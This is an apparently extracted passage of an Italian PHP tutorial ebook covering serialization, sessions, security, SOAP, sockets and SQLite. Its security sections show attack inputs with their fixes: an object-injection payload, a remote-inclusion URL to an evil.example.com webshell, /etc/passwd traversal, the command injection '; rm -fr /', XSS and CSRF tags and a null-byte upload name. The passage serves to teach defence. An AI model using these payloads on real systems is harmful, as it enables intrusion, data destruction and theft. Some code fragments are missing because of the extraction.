https://riptutorial.com/it/home 429
si verifica quando l'input fornito dall'utente non è correttamente disinfettato prima di essere
passato alla funzione PHP unserialize (). Poiché PHP consente la serializzazione degli oggetti, gli
autori di attacchi potrebbero passare stringhe serializzate ad hoc a una chiamata unserialize ()
vulnerabile, con conseguente un'iniezione di oggetti PHP arbitrari nello scope dell'applicazione.
Per sfruttare con successo una vulnerabilità di PHP Object Injection, è necessario soddisfare due
condizioni:
• L'applicazione deve avere una classe che implementa un metodo magico PHP (come
__wakeup o __destruct ) che può essere utilizzato per eseguire attacchi dannosi o per avviare
una "catena POP".
• Tutte le classi utilizzate durante l'attacco devono essere dichiarate quando viene chiamato il
vulnerabile unserialize() , altrimenti l'autoloading dell'oggetto deve essere supportato per tali
classi.
L'esempio seguente mostra una classe PHP con un metodo __destruct sfruttabile:
class Example1
{
public $cache_file;
function __construct()
{
// some PHP code...
}
function __destruct()
{
$file = "/var/www/cache/tmp/{$this->cache_file}";
if (file_exists($file)) @unlink($file);
}
}
$user_data = unserialize($_GET['data']);
http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}
L'esempio seguente mostra una classe PHP con un metodo __wakeup sfruttabile:
class Example2
{
private $hook;
https://riptutorial.com/it/home 430
function __construct()
{
// some PHP code...
}
function __wakeup()
{
if (isset($this->hook)) eval($this->hook);
}
}
$user_data = unserialize($_COOKIE['data']);
Connection: close
Dove il parametro del cookie "dati" è stato generato dallo script seguente:
class Example2
{
private $hook = "phpinfo();";
}
https://riptutorial.com/it/home 431
Capitolo 84: Serializzazione degli oggetti
Sintassi
• serializzare ($ object)
• unserialize ($ object)
Osservazioni
Tutti i tipi di PHP tranne le risorse sono serializzabili. Le risorse sono un tipo di variabile univoco
che fa riferimento a fonti "esterne", come le connessioni al database.
Examples
Serialize / Unserialize
serialize($object);
unserialize($object)
Esempio
$array = array();
$array["a"] = "Foo";
$array["b"] = "Bar";
$array["c"] = "Baz";
$array["d"] = "Wom";
$serializedArray = serialize($array);
echo $serializedArray; //output:
a:4:{s:1:"a";s:3:"Foo";s:1:"b";s:3:"Bar";s:1:"c";s:3:"Baz";s:1:"d";s:3:"Wom";}
L'interfaccia serializzabile
introduzione
https://riptutorial.com/it/home 432
serializzata. Questo non richiama __destruct() o ha alcun altro effetto collaterale se
non programmato all'interno del metodo. Quando i dati non sono unserialized la classe
è nota e il metodo unserialize() appropriato viene chiamato come costruttore anziché
chiamare __construct() . Se è necessario eseguire il costruttore standard, è possibile
farlo nel metodo.
Utilizzo di base
$newobj = unserialize($ser);
https://riptutorial.com/it/home 433
Capitolo 85: Server SOAP
Sintassi
• addFunction () // Registra una (o più) funzione nel gestore delle richieste SOAP
• addSoapHeader () // Aggiungi un'intestazione SOAP alla risposta
• fault () // Problema Errore di SoapServer che indica un errore
• getFunctions () // Restituisce una lista di funzioni
• handle () // Gestisce una richiesta SOAP
• setClass () // Imposta la classe che gestisce le richieste SOAP
• setObject () // Imposta l'oggetto che verrà utilizzato per gestire le richieste SOAP
• setPersistence () // Imposta la modalità di persistenza di SoapServer
Examples
Server SOAP di base
function test($x)
{
return $x;
}
https://riptutorial.com/it/home 434
Capitolo 86: sessioni
Sintassi
• void session_abort (void)
• int session_cache_expire ([string $ new_cache_expire])
• void session_commit (void)
• string session_create_id ([stringa $ prefisso])
• bool session_decode (stringa $ dati)
• bool session_destroy (void)
• string session_encode (void)
• int session_gc (void)
• array session_get_cookie_params (void)
• string session_id ([stringa $ id])
• bool session_is_registered (stringa $ nome)
• stringa session_module_name ([stringa $ modulo])
• string session_name ([stringa $ nome])
• bool session_regenerate_id ([bool $ delete_old_session = false])
• void session_register_shutdown (void)
• bool session_register (mixed $ name [, mixed $ ...])
• void session_reset (void)
• string session_save_path ([stringa $ percorso])
• void session_set_cookie_params (int $ lifetime [, stringa $ percorso [, stringa $ dominio [,
bool $ secure = false [, bool $ httponly = false]]]])
• bool session_set_save_handler (callable $ open, callable $ close, callable $ read, callable $
write, callable $ destroy, callable $ gc [, callable $ create_sid [, callable $ validate_sid [,
callable $ update_timestamp]]])
• bool session_start ([array $ options = []])
• int session_status (void)
• bool session_unregister (stringa $ nome)
• void session_unset (void)
• void session_write_close (void)
Osservazioni
Nota che chiamare session_start() anche se la sessione è già iniziata darà come risultato un
avvertimento PHP.
Examples
Manipolazione dei dati di sessione
La variabile $_SESSION è una matrice e puoi recuperarla o manipolarla come un normale array.
https://riptutorial.com/it/home 435
<?php
// Starting the session
session_start();
// conditional usage of session values that may have been set in a previous session
if(!isset($_SESSION["login"])) {
echo "Please login first";
exit;
}
// now you can use the login safely
$user = $_SESSION["login"];
Vedi anche Manipolazione di una matrice per maggiori informazioni su come lavorare su un array.
Si noti che se si memorizza un oggetto in una sessione, è possibile recuperarlo con garbo solo se
si dispone di un caricatore automatico di classe o se è già stata caricata la classe. In caso
contrario, l'oggetto verrà visualizzato come tipo __PHP_Incomplete_Class , che in seguito potrebbe
causare arresti anomali . Vedi Namespacing e Autoloading sull'auto- caricamento.
Avvertimento:
I dati della sessione possono essere dirottati. Questo è delineato in: Sicurezza Pro PHP: dai
principi di sicurezza delle applicazioni all'implementazione della difesa XSS - Capitolo 7:
Prevenzione del dirottamento della sessione Quindi si consiglia vivamente di non memorizzare
mai alcuna informazione personale in $_SESSION . Ciò includerebbe in modo critico i numeri delle
carte di credito , gli ID di governo e le password ; ma si estenderebbe anche a dati meno
ipotetici come nomi , e-mail , numeri di telefono , ecc. che consentirebbero a un hacker di
impersonare / compromettere un utente legittimo. Come regola generale, utilizzare valori senza
valore / non personali, come gli identificatori numerici, nei dati di sessione.
Se hai una sessione che desideri distruggere, puoi farlo con session_destroy()
/*
Let us assume that our session looks like this:
Array([firstname] => Jon, [id] => 123)
/*
We can now remove all the values from the `SESSION` superglobal:
If you omitted this step all of the global variables stored in the
superglobal would still exist even though the session had been destroyed.
https://riptutorial.com/it/home 436
*/
$_SESSION = array();
// If it's desired to kill the session, also delete the session cookie.
// Note: This will destroy the session, and not just the session data!
if (ini_get("session.use_cookies")) {
$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,
$params["path"], $params["domain"],
$params["secure"], $params["httponly"]
);
}
Usare session_destroy() è diverso $_SESSION = array(); qualcosa come $_SESSION = array(); che
rimuoverà tutti i valori memorizzati nella SESSION superglobale ma non distruggerà la versione
memorizzata effettiva della sessione.
Utilizzare solo session_unset () per codice deprecato meno recente che non usa $
_SESSION.
opzioni session_start ()
A partire da PHP Sessions possiamo passare una matrice con opzioni php.ini basate sulla
sessione alla funzione session_start .
Esempio
<?php
if (version_compare(PHP_VERSION, '7.0.0') >= 0) {
// php >= 7 version
session_start([
'cache_limiter' => 'private',
'read_and_close' => true,
]);
} else {
// php < 7 version
session_start();
}
?>
Questa funzione introduce anche una nuova impostazione php.ini denominata session.lazy_write
, che per impostazione predefinita è true e che i dati della sessione vengono solo riscritti, se
cambia.
Riferimenti: https://wiki.php.net/rfc/session-lock-ini
https://riptutorial.com/it/home 437
Verifica se i cookie di sessione sono stati
creati
Il nome della sessione è il nome del cookie utilizzato per memorizzare le sessioni. È possibile
utilizzare questo per rilevare se i cookie per una sessione sono stati creati per l'utente:
if(isset($_COOKIE[session_name()])) {
session_start();
}
Si noti che questo metodo in genere non è utile a meno che non si desideri realmente creare
cookie inutilmente.
Se non viene fornito alcun argomento in session_name() , viene restituito il nome della sessione
corrente.
Come tutti sappiamo, PHP scrive i dati di sessione in un file sul lato server. Quando viene fatta
una richiesta allo script php che avvia la sessione tramite session_start() , PHP blocca questo file
di sessione risultante per bloccare / attendere altre richieste in ingresso per lo stesso session_id
da completare, a causa del quale le altre richieste rimarranno bloccate su session_start() fino a
oppure a meno che il file di sessione bloccato non sia stato rilasciato
Il file di sessione rimane bloccato fino al completamento dello script o alla chiusura manuale della
sessione. Per evitare questa situazione, per evitare che più richieste vengano bloccate , possiamo
avviare la sessione e chiudere la sessione che rilascerà il blocco dal file di sessione e consentire
di continuare le richieste rimanenti.
https://riptutorial.com/it/home 438
session_start();
Ora si penserà che se la sessione è chiusa, come leggiamo i valori della sessione, abbelliamo
anche dopo che la sessione è stata chiusa, la sessione è ancora disponibile. Quindi, possiamo
ancora leggere i dati della sessione.
Molti sviluppatori hanno questo problema quando lavorano su progetti enormi, specialmente se
lavorano su alcuni CMS modulari su plug-in, componenti aggiuntivi, componenti ecc. Ecco la
soluzione per l'avvio sicuro della sessione dove se prima si verificava la versione di PHP per
coprire tutte le versioni e il successivo è controllato se la sessione è iniziata. Se la sessione non
esiste, inizio la sessione in sicurezza. Se la sessione esiste non succede nulla.
https://riptutorial.com/it/home 439
Capitolo 87: Sicurezza
introduzione
Poiché la maggior parte dei siti Web si trova in PHP, la sicurezza delle applicazioni è un
argomento importante per gli sviluppatori PHP per proteggere i loro siti Web, dati e clienti. Questo
argomento tratta le migliori pratiche di sicurezza in PHP, nonché le vulnerabilità e i punti deboli
comuni con le correzioni di esempio in PHP.
Osservazioni
Guarda anche
Examples
Segnalazione errori
Per impostazione predefinita, PHP genererà errori , avvertenze e messaggi di avviso direttamente
sulla pagina se si verifica qualcosa di inaspettato in uno script. Questo è utile per risolvere
problemi specifici con uno script ma allo stesso tempo genera informazioni che non vuoi che i tuoi
utenti sappiano.
Pertanto, è buona norma evitare di visualizzare quei messaggi che rivelano informazioni sul
server, ad esempio l'albero delle directory, negli ambienti di produzione. In uno sviluppo o in un
ambiente di test questi messaggi possono essere ancora utili da visualizzare a scopo di debug.
È possibile disattivarli in modo che i messaggi non vengano visualizzati, tuttavia ciò rende più
difficile il debugging dello script.
<?php
ini_set("display_errors", "0");
?>
display_errors = 0
https://riptutorial.com/it/home 440
Un'opzione migliore sarebbe quella di memorizzare quei messaggi di errore in un posto che sono
più utili, come un database:
Questo metodo registrerà i messaggi nel database e se questo non riesce a un file invece di farlo
eco direttamente nella pagina. In questo modo puoi tenere traccia di ciò che gli utenti stanno
riscontrando sul tuo sito web e avvisarti immediatamente se qualcosa va storto.
Problema
Lo scripting cross-site è l'esecuzione involontaria di codice remoto da parte di un client web.
Qualsiasi applicazione Web potrebbe esporre se stessa a XSS se accetta l'input da un utente e la
stampa direttamente su una pagina Web. Se l'input include HTML o JavaScript, il codice remoto
può essere eseguito quando questo contenuto viene reso dal client web.
// http://example.com/runme.js
document.write("I'm running");
<?php
echo '<div>' . $_GET['input'] . '</div>';
<div><script src="http://example.com/runme.js"></script></div>
Il JavaScript di terze parti verrà eseguito e l'utente vedrà "Sto eseguendo" sulla pagina web.
https://riptutorial.com/it/home 441
Soluzione
Come regola generale, non fidarsi mai dell'input proveniente da un client. Ogni valore GET, POST
e cookie potrebbe essere qualsiasi cosa e dovrebbe quindi essere convalidato. Quando si emette
uno di questi valori, sfuggirli in modo che non vengano valutati in modo inaspettato.
Tieni presente che anche nelle applicazioni più semplici i dati possono essere spostati e sarà
difficile tenere traccia di tutte le fonti. Pertanto è una buona pratica evitare sempre l' output.
PHP fornisce alcuni modi per evitare l'output a seconda del contesto.
Funzioni di filtro
Le funzioni di filtro di PHP consentono ai dati di input dello script php di essere disinfettati o
convalidati in molti modi . Sono utili quando si salva o si invia un input client.
Codifica HTML
htmlspecialchars convertirà tutti i "caratteri speciali HTML" nelle loro codifiche HTML, il che
significa che non saranno elaborati come HTML standard. Per correggere il nostro esempio
precedente utilizzando questo metodo:
<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// or
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';
Uscirebbe:
<div><script src="http://example.com/runme.js"></script></div>
Tutto ciò che si trova all'interno del tag <div> non verrà interpretato come un tag JavaScript dal
browser, ma come un semplice nodo di testo. L'utente vedrà sicuramente:
<script src="http://example.com/runme.js"></script>
Codifica URL
Quando si genera un URL generato dinamicamente, PHP fornisce la funzione urlencode per
generare in modo sicuro URL validi. Ad esempio, se un utente è in grado di immettere dati che
diventano parte di un altro parametro GET:
<?php
$input = urlencode($_GET['input']);
// or
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';
https://riptutorial.com/it/home 442
Qualsiasi input dannoso verrà convertito in un parametro URL codificato.
A volte vorrete inviare HTML o altro tipo di input di codice. Sarà necessario mantenere un elenco
di parole autorizzate (lista bianca) e non autorizzato (lista nera).
È possibile scaricare elenchi standard disponibili sul sito Web di OWASP AntiSamy . Ogni lista è
adatta per uno specifico tipo di interazione (ebay api, tinyMCE, ecc ...). Ed è open source.
Esistono librerie esistenti per filtrare l'HTML e prevenire gli attacchi XSS per il caso generale ed
eseguire almeno altrettanto bene gli elenchi di AntiSamy con un uso molto semplice. Ad esempio
hai purificatore HTML
Inclusione di file
<?php
include $_GET['page'];
/vulnerable.php?page= http://evil.example.com/webshell.txt ?
<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
include $page;
} else {
include 'index.php';
}
/vulnerable.php?page=../../../../etc/passwd
https://riptutorial.com/it/home 443
<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
include($page);
} else {
include('index.php');
}
Problema
Analogamente all'iniezione SQL che consente a un utente malintenzionato di eseguire query
arbitrarie su un database, l'iniezione dalla riga di comando consente a qualcuno di eseguire
comandi di sistema non attendibili su un server Web. Con un server protetto in modo improprio
questo darebbe ad un attaccante il controllo completo su un sistema.
Supponiamo, ad esempio, che uno script consenta a un utente di elencare il contenuto della
directory su un server web.
<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>
(In un'applicazione reale si utilizzano le funzioni o gli oggetti incorporati di PHP per ottenere i
contenuti del percorso. Questo esempio è per una semplice dimostrazione di sicurezza.)
Si spera di ottenere un parametro path simile a /tmp . Ma come ogni input è permesso, il path
potrebbe essere ; rm -fr / . Il server Web eseguirà quindi il comando
ls; rm -fr /
Soluzione
Tutti gli argomenti dei comandi devono essere sottoposti a escape utilizzando escapeshellarg() o
escapeshellcmd() . Ciò rende gli argomenti non eseguibili. Per ogni parametro, anche il valore di
input deve essere convalidato .
<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>
Seguendo l'esempio precedente con il tentativo di rimuovere i file, il comando eseguito diventa
https://riptutorial.com/it/home 444
ls '; rm -fr /'
Va notato che l'esempio sopra è ora protetto dall'iniezione di comando, ma non dall'indirizzamento
tra directory. Per risolvere questo problema, è necessario verificare che il percorso normalizzato
inizi con la sottodirectory desiderata.
PHP offre una varietà di funzioni per eseguire comandi di sistema, inclusi exec , passthru ,
proc_open , shell_exec e system . Tutti devono avere i loro input accuratamente convalidati e
sfuggiti.
X-Powered-By: PHP/5.3.8
expose_php = off
O cambia l'intestazione:
header("X-Powered-By: Magic");
Se uno dei metodi precedenti non funziona, c'è anche la funzione header_remove() che ti offre la
possibilità di rimuovere l'intestazione:
header_remove('X-Powered-By');
Se gli hacker sanno che stai usando PHP e la versione di PHP che stai usando, è più facile per
loro sfruttare il tuo server.
Tag spogliati
strip_tags è una funzione molto potente se sai come usarlo. Come metodo per prevenire gli
attacchi di cross-site scripting ci sono metodi migliori, come la codifica dei caratteri, ma i tag
stripping sono utili in alcuni casi.
Esempio di base
https://riptutorial.com/it/home 445
$string = '<b>Hello,<> please remove the <> tags.</b>';
echo strip_tags($string);
Uscita grezza
Permettere tag
Supponiamo che tu voglia consentire un determinato tag ma nessun altro tag, quindi lo specifichi
nel secondo parametro della funzione. Questo parametro è facoltativo. Nel mio caso voglio solo
passare il tag <b> .
Uscita grezza
Avvisi)
HTMLcommenti HTML e i tag PHP vengono rimossi. Questo è hardcoded e non può essere modificato
con allowable_tags.
In PHP 5.3.4 e versioni successive, i tag XHTML chiusura automatica vengono ignorati e solo i tag
non autochiudenti devono essere utilizzati in allowable_tags. Ad esempio, per consentire sia a
<br> sia a <br/> , devi usare:
<?php
strip_tags($input, '<br>');
?>
Problema
La richiesta di cross-site Forgery o CSRF può costringere un utente finale a generare
inconsapevolmente richieste malevoli su un server web. Questo vettore di attacco può essere
sfruttato in entrambe le richieste POST e GET. Diciamo per esempio che l'url endpoint
/delete.php?accnt=12 cancella l'account come passato dal parametro accnt di una richiesta GET.
Ora se un utente autenticato incontrerà il seguente script in qualsiasi altra applicazione
https://riptutorial.com/it/home 446
<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">
Soluzione
Una soluzione comune a questo problema è l'uso di token CSRF . I token CSRF sono incorporati
nelle richieste in modo che un'applicazione Web possa considerare attendibile che una richiesta
provenga da un'origine prevista come parte del normale flusso di lavoro dell'applicazione.
Innanzitutto l'utente esegue alcune azioni, come la visualizzazione di un modulo, che attiva la
creazione di un token univoco. Potrebbe essere simile a un modulo di esempio che implementa
questo aspetto
Il token può quindi essere convalidato dal server contro la sessione utente dopo l'invio del modulo
per eliminare le richieste dannose.
Codice di esempio
Ecco un codice di esempio per un'implementazione di base:
https://riptutorial.com/it/home 447
/* Code to validate token and drop malicious requests */
...
<?php
session_start();
if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {
// Reset token
unset($_SESSION["csrf_token"]);
die("CSRF token validation failed");
}
?>
...
Esistono già molte librerie e framework che hanno la loro implementazione della convalida CSRF.
Sebbene questa sia la semplice implementazione di CSRF, è necessario scrivere del codice per
rigenerare il token CSRF in modo dinamico per impedire il furto e la fissazione del token CSRF.
Caricamento di file
Se si desidera che gli utenti caricino i file sul server, è necessario eseguire un paio di controlli di
sicurezza prima di spostare effettivamente il file caricato nella directory Web.
I dati caricati:
Questo array contiene dati inviati dall'utente e non informazioni sul file stesso. Mentre
solitamente questi dati vengono generati dal browser, è possibile effettuare facilmente una
richiesta di posta allo stesso modulo utilizzando il software.
$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];
../script.php%00.png
1. Il primo a notare è ../ , completamente illegale nel nome di un file e allo stesso tempo
https://riptutorial.com/it/home 448
perfettamente soddisfacente se si sta spostando un file da una directory a un'altra, cosa che
faremo nel modo giusto?
2. Ora potresti pensare di verificare correttamente le estensioni del file nel tuo script ma questo
exploit si basa sulla decodifica dell'URL, traducendo %00 in un carattere null , in pratica
dicendo al sistema operativo, questa stringa finisce qui, eliminando .png dal nome del file .
Così ora ho caricato script.php in un'altra directory, passando da semplici convalide alle
estensioni di file. Inoltre esegue il by-pass dei file .htaccess non consentono l'esecuzione di script
all'interno della directory di caricamento.
$pathinfo = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename = $pathinfo['filename'] ? $pathinfo['filename']:'';
Mentre ora abbiamo un nome file e un'estensione che possono essere utilizzati per la
memorizzazione, preferisco comunque archiviare tali informazioni in un database e dare a quel file
un nome generato, ad esempio, md5(uniqid().microtime())
+----+--------+-----------+------------+------+----------------------------------+------------
---------+
| id | title | extension | mime | size | filename | time
|
+----+--------+-----------+------------+------+----------------------------------+------------
---------+
| 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11
00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+------------
---------+
Ciò risolverebbe il problema dei nomi di file duplicati e degli exploit non sfruttati nel nome del file.
Ciò potrebbe anche indurre l'utente malintenzionato a indovinare dove quel file è stato archiviato
poiché non è in grado di indirizzarlo specificamente per l'esecuzione.
https://riptutorial.com/it/home 449
Convalida del tipo MIME
Controllare un'estensione di file per determinare quale file è non è sufficiente in quanto un file
potrebbe denominare image.png ma potrebbe benissimo contenere uno script php. Controllando il
tipo mime del file caricato su un'estensione di file è possibile verificare se il file contiene il nome a
cui si riferisce.
Puoi anche fare un ulteriore passo avanti per convalidare le immagini, e questo è in realtà aprirle:
$allowedFiletypes = [
'image/png' => [ 'png' ],
'image/gif' => [ 'gif' ],
'image/jpeg' => [ 'jpg', 'jpeg' ],
];
https://riptutorial.com/it/home 450
Capitolo 88: SimpleXML
Examples
Caricamento di dati XML in simplexml
Caricamento da stringa
Usa simplexml_load_string per creare un SimpleXMLElement da una stringa:
Si noti che or || deve essere usato qui perché la precedenza di or è superiore a = . Il codice dopo
or verrà eseguito solo se $xml fine si risolve in falso.
$xml = simplexml_load_string("filePath.xml");
$xml = simplexml_load_string("https://example.com/doc.xml");
L'URL può essere di qualsiasi schema supportato da PHP o wrapper di flusso personalizzato.
https://riptutorial.com/it/home 451
Capitolo 89: Sintassi alternativa per le
strutture di controllo
Sintassi
• struttura: / * codice * / endstructure;
Osservazioni
Quando si mescola la struttura alternativa per switch con HTML, è importante non avere spazi
bianchi tra l' switch($condition): iniziale switch($condition): e il case $value: primo case $value:
Fare questo sta tentando di echeggiare qualcosa (spazio bianco) prima di un caso.
Tutte le strutture di controllo seguono la stessa idea generale. Invece di usare le parentesi graffe
per incapsulare il codice, si utilizzano due punti e una struttura endstructure; istruzione: structure:
/* code */ endstructure;
Examples
Alternativa per affermazione
<?php
?>
<?php
while ($condition):
do_something();
endwhile;
?>
https://riptutorial.com/it/home 452
Dichiarazione foreach alternativa
<?php
?>
<?php
switch ($condition):
case $value:
do_something();
break;
default:
do_something_else();
break;
endswitch;
?>
<?php
if ($condition):
do_something();
elseif ($another_condition):
do_something_else();
else:
do_something_different();
endif;
?>
https://riptutorial.com/it/home 453
<?php else: ?>
<p>Do something different in HTML</p>
<?php endif; ?>
https://riptutorial.com/it/home 454
Capitolo 90: SOAP Client
Sintassi
• __getFunctions () // Restituisce l'array di funzioni per il servizio (solo modalità WSDL)
• __getTypes () // Restituisce l'array di tipi per il servizio (solo modalità WSDL)
• __getLastRequest () // Restituisce XML dall'ultima richiesta (richiede l'opzione di trace )
• __getLastRequestHeaders () // Restituisce le intestazioni dall'ultima richiesta (richiede
l'opzione di trace )
• __getLastResponse () // Restituisce XML dall'ultima risposta (richiede l'opzione di trace )
• __getLastResponseHeaders () // Restituisce le intestazioni dall'ultima risposta (richiede
l'opzione di trace )
Parametri
Parametro Dettagli
Osservazioni
La classe SoapClient è dotata di un metodo __call . Questo non deve essere chiamato
direttamente. Invece questo ti permette di fare:
Tabella dei possibili valori delle $options ( matrice di coppie chiave / valore ):
Opzione Dettagli
URL del server SOAP. Richiesto in modalità non WSDL. Può essere
Posizione
utilizzato in modalità WSDL per sovrascrivere l'URL.
uri Target namespace del servizio SOAP. Richiesto in modalità non WSDL.
https://riptutorial.com/it/home 455
Opzione Dettagli
Mappare i tipi WSDL alle classi PHP. Il valore dovrebbe essere un array
classmap
con tipi WSDL come chiavi e nomi di classi PHP come valori.
eccezioni Valore booleano . Dovrebbero esserci errori di SOAP (di tipo `SoapFault).
connesione
Timeout (in secondi) per la connessione al servizio SOAP.
finita
https://riptutorial.com/it/home 456
Opzione Dettagli
( Versione PHP> = solo 5.5 ) Quale versione SSL / TLS usare. I valori
ssl_method possibili sono SOAP_SSL_METHOD_TLS , SOAP_SSL_METHOD_SSLv2 ,
SOAP_SSL_METHOD_SSLv3 o SOAP_SSL_METHOD_SSLv23 .
Problema con PHP a 32 bit : in PHP a 32 bit, stringhe numeriche superiori a 32 bit
che vengono automaticamente convertite in numero intero da xs:long risulterà il
raggiungimento del limite di 32 bit, gettandolo a 2147483647 . Per ovviare a questo,
lanciare le stringhe su float prima di passarle a __soapCall() .
Examples
Modalità WSDL
Innanzitutto, crea un nuovo oggetto SoapClient , passando l'URL al file WSDL e, facoltativamente,
una serie di opzioni.
https://riptutorial.com/it/home 457
Questo è simile alla modalità WSDL, tranne che passiamo NULL come file WSDL e assicuratevi di
impostare la location e le opzioni uri .
Classmaps
Quando si crea un client SOAP in PHP, è anche possibile impostare una chiave di classmap
nell'array di configurazione. Questa classmap definisce quali tipi definiti nel WSDL devono essere
mappati su classi effettive, invece che su StdClass predefinito. Il motivo per cui dovresti farlo è che
puoi ottenere il completamento automatico dei campi e delle chiamate ai metodi su queste classi,
invece di dover indovinare quali campi sono impostati sul normale StdClass .
class MyAddress {
public $country;
public $city;
public $full_name;
public $postal_code; // or zip_code
public $house_number;
}
class MyBook {
public $name;
public $author;
Dopo aver configurato la mappa di classe, ogni volta che si esegue una determinata operazione
che restituisce un tipo Address o Book , SoapClient crea un'istanza di quella classe, riempie i campi
con i dati e li restituisce dalla chiamata all'operazione.
https://riptutorial.com/it/home 458
// We can not use other functions defined on the MyBook class
echo $book->getShortDescription();
// Any type defined in the WSDL that is not defined in the classmap
// will become a regular StdClass object
$author = $soap_client->getAuthor(1234);
A volte vogliamo vedere cosa viene inviato e ricevuto nella richiesta SOAP. I seguenti metodi
restituiranno l'XML nella richiesta e nella risposta:
SoapClient::__getLastRequest()
SoapClient::__getLastRequestHeaders()
SoapClient::__getLastResponse()
SoapClient::__getLastResponseHeaders()
Ad esempio, supponiamo di avere una costante ENVIRONMENT e quando il valore di questa costante
è impostato su DEVELOPMENT vogliamo getAddress tutte le informazioni quando la chiamata a
getAddress genera un errore. Una soluzione potrebbe essere:
try {
$address = $soap_client->getAddress(1234);
} catch (SoapFault $e) {
if (ENVIRONMENT === 'DEVELOPMENT') {
var_dump(
$soap_client->__getLastRequestHeaders()
$soap_client->__getLastRequest(),
$soap_client->__getLastResponseHeaders(),
$soap_client->__getLastResponse()
);
}
...
}
https://riptutorial.com/it/home 459
Capitolo 91: Sockets
Examples
Socket client TCP
Assicurarsi che il socket sia stato creato correttamente. La funzione onSocketFailure deriva da
Gestione errori di socket in questo argomento.
Passando a PHP_NORMAL_READ come il terzo parametro si legge fino a un byte \r / \n e questo byte è
incluso nel valore restituito.
https://riptutorial.com/it/home 460
Se socket_set_nonblock stato chiamato in precedenza e PHP_BINARY_READ viene utilizzato,
socket_read restituirà false immediatamente. In caso contrario, il metodo blocca fino a quando non
vengono ricevuti dati sufficienti (per raggiungere la lunghezza nel secondo parametro o per
raggiungere una fine riga) o il socket è chiuso.
while(true) {
// read a line from the socket
$line = socket_read($socket, 1024, PHP_NORMAL_READ);
if(substr($line, -1) === "\r") {
// read/skip one byte from the socket
// we assume that the next byte in the stream must be a \n.
// this is actually bad in practice; the script is vulnerable to unexpected values
socket_read($socket, 1, PHP_BINARY_READ);
}
$message = parseLine($line);
if($message->type === "QUIT") break;
}
Chiudere la presa
La chiusura del socket libera il socket e le sue risorse associate.
socket_close($socket);
Creazione di prese
Creare un socket che utilizza il TCP. È come creare un socket client.
Attacco presa
Collega le connessioni da una data rete (parametro 2) per una porta specifica (parametro 3) alla
presa.
Il secondo parametro è solitamente "0.0.0.0" , che accetta la connessione da tutte le reti. Io posso
anche
Una causa comune di errori da socket_bind è che l'indirizzo specificato è già associato a un altro
processo . Di solito, altri processi vengono uccisi (di solito manualmente per evitare di uccidere
accidentalmente processi critici) in modo che i socket vengano liberati.
https://riptutorial.com/it/home 461
socket_bind($socket, "0.0.0.0", 6667) or onSocketFailure("Failed to bind to 0.0.0.0:6667");
socket_listen($socket, 5);
$conn = socket_accept($socket);
Il trasferimento dati per una connessione da socket_accept è uguale a quello per un socket client
TCP .
Quando questa connessione deve essere chiusa, chiama socket_close($conn); direttamente. Ciò
non influirà sul socket del server TCP originale.
socket_last_error può essere utilizzato per ottenere l'ID errore dell'ultimo errore dall'estensione
socket.
socket_strerror può essere utilizzato per convertire l'ID in stringhe leggibili dall'uomo.
https://riptutorial.com/it/home 462
Un server UDP (user datagram protocol), a differenza di TCP, non è basato sul flusso. È basato
su pacchetti, ovvero un client invia i dati in unità denominate "pacchetti" al server e il client
identifica i client in base al loro indirizzo. Non esiste una funzione incorporata che colleghi diversi
pacchetti inviati dallo stesso client (diversamente dal TCP, dove i dati dallo stesso client sono
gestiti da una risorsa specifica creata da socket_accept ). Può essere pensato come una nuova
connessione TCP è accettata e chiusa ogni volta che arriva un pacchetto UDP.
Invio di un pacchetto
Questa riga invia $data in un pacchetto UDP a $address : $port .
Ricevere un pacchetto
Lo snippet seguente tenta di gestire i pacchetti UDP in modo indicizzato dal client.
$clients = [];
while (true){
socket_recvfrom($socket, $buffer, 32768, 0, $ip, $port) === true
or onSocketFailure("Failed to receive packet", $socket);
$address = "$ip:$port";
if (!isset($clients[$address])) $clients[$address] = new Client();
$clients[$address]->handlePacket($buffer);
}
https://riptutorial.com/it/home 463
Leggi Sockets online: https://riptutorial.com/it/php/topic/6138/sockets
https://riptutorial.com/it/home 464
Capitolo 92: SQLite3
Examples
Interrogare un database
<?php
//Create a new SQLite3 object from a database file on the server.
$database = new SQLite3('mysqlitedb.db');
//Iterate through all of the results, var_dumping them onto the page
while ($row = $results->fetchArray()) {
var_dump($row);
}
?>
